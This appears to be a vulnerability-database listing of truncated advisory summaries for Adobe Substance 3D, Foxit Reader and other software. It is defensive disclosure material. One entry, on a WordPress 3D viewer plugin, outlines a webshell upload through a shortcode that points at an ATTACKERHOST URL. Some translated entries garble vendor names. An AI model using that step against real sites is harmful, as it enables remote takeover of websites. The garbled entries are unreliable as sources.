CVE-2023-48629: Out-of-bounds Write

Adobe Substance 3D Sampler versions 4.2.1 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file...

CVE-2023-48627: Out-of-bounds Write

Adobe Substance 3D Sampler versions 4.2.1 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file...

CVE-2023-48639: Out-of-bounds Write

Adobe Substance 3D Designer versions 13.0.0 and earlier and 13.1.0 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a...

CVE-2023-48636: Out-of-bounds Read

Adobe Substance 3D Designer versions 13.0.0 and earlier and 13.1.0 and earlier are affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to bypass mitigations such as ASLR. Exploitation of this issue requir...

PT-2023-8543 · Adobe · Substance3D - Sampler

Name of the Vulnerable Software and Affected Versions: Adobe Substance 3D Sampler versions 4.2.1 and earlier Description: The issue is related to an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue...

PT-2023-8549 · Adobe · Substance3D - Designer

Name of the Vulnerable Software and Affected Versions: Adobe Substance 3D Designer versions 13.0.0 and earlier Adobe Substance 3D Designer versions 13.1.0 and earlier Description: The issue is related to an out-of-bounds write vulnerability that could result in arbitrary code execution in the...

PT-2023-8592 · Adobe · Substance3D - Stager

Name of the Vulnerable Software and Affected Versions: Adobe Substance 3D Stager versions 2.1.1 and earlier Description: The issue is related to an out-of-bounds read vulnerability in the memory, which could allow an attacker to gain unauthorized access to protected information by using a special...

PT-2023-8544 · Adobe · Substance3D - Sampler

Name of the Vulnerable Software and Affected Versions: Adobe Substance 3D Sampler versions 4.2.1 and earlier Description: The issue is related to an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue...

PT-2023-8545

Name of the Vulnerable Software and Affected Versions Adobe Substance 3D Sampler versions 4.2.1 and earlier Description The issue is related to an out-of-bounds write vulnerability in memory. Exploitation of this issue could allow an attacker to execute arbitrary code with the help of a specially...

PT-2023-8551 · Adobe · Substance3D - Designer

Name of the Vulnerable Software and Affected Versions: Adobe Substance 3D Designer versions 13.0.0 and earlier Adobe Substance 3D Designer versions 13.1.0 and earlier Description: The issue is related to an out-of-bounds read vulnerability in the Adobe Substance 3D Designer program, which could...

PT-2023-8546 · Adobe · Substance3D - Sampler

Name of the Vulnerable Software and Affected Versions: Adobe Substance 3D Sampler versions 4.2.1 and earlier Description: The issue is related to an out-of-bounds write vulnerability in memory. Exploitation of this issue could allow an attacker to execute arbitrary code with the help of a special...

3d-agency.it Cross Site Scripting vulnerability OBB-3807453

Following the coordinated and responsible vulnerability disclosure guidelines of the ISO 29147 standard, Open Bug Bounty has: a. verified the vulnerability and confirmed its existence; b. notified the website operator about its existence. Technical details of the vulnerability are currently hidde...

CVE-2023-32616

A use-after-free vulnerability exists in the way Foxit Reader 12.1.2.15356 handles 3D annotations. A specially crafted Javascript code inside a malicious PDF document can trigger reuse of a previously freed object, which can lead to memory corruption and result in arbitrary code execution. An...

CVE-2023-32616

A use-after-free vulnerability exists in the way Foxit Reader 12.1.2.15356 handles 3D annotations. A specially crafted Javascript code inside a malicious PDF document can trigger reuse of a previously freed object, which can lead to memory corruption and result in arbitrary code execution. An...

CVE-2023-32616

Summary: CVE-2023-32616 is a use-after-free in Foxit Reader 12.1.2.15356 affecting 3D annotations. A specially crafted Javascript in a malicious PDF can reuse a freed object, causing memory corruption and arbitrary code execution. Exploitation requires user action (opening the malicious PDF) or, ...

CVE-2023-32616: Use After Free

A use-after-free vulnerability exists in the way Foxit Reader 12.1.2.15356 handles 3D annotations. A specially crafted Javascript code inside a malicious PDF document can trigger reuse of a previously freed object, which can lead to memory corruption and result in arbitrary code execution. An...

Vrm 360 3D Model Viewer <= 1.2.1 - Contributor+ Arbitrary File Upload Leading to RCE

Description The plugin is vulnerable to arbitrary file upload due to insufficient checks in a plugin shortcode. 1. Host a webserver with a shell named webshell.zip.php 2. As a contributor, add the shortcode: vrm360 canvasname=s1 modelurl=http://ATTACKERHOST/webshell.zip.php aspectratio=1.8...

Adobe After Effects Out-of-Bounds Read Vulnerability (CNVD-2023-91792)

Adobe After Effects is a set of visual effects and motion graphics production software from the American company Audobee Adobe. The software is mainly used for 2D and 3D synthesis, animation and visual effects production. An out-of-bounds read vulnerability exists in Adobe After Effects versions...

Adobe Dimension Out-of-Bounds Read Vulnerability (CNVD-2023-100308)

Adobe Dimension is the United States of America Odo than Adobe company is a set of 2D and 3D composite design tools. Adobe Dimension suffers from an out-of-bounds read vulnerability that can be exploited by attackers to obtain sensitive information...

Ubuntu 22.04 LTS / 23.10 : Linux kernel vulnerabilities (USN-6503-1)

The remote Ubuntu 22.04 LTS / 23.10 host has a package installed that is affected by multiple vulnerabilities as referenced in the USN-6503-1 advisory. Yu Hao discovered that the UBI driver in the Linux kernel did not properly check for MTD with zero erasesize during device attachment. A local...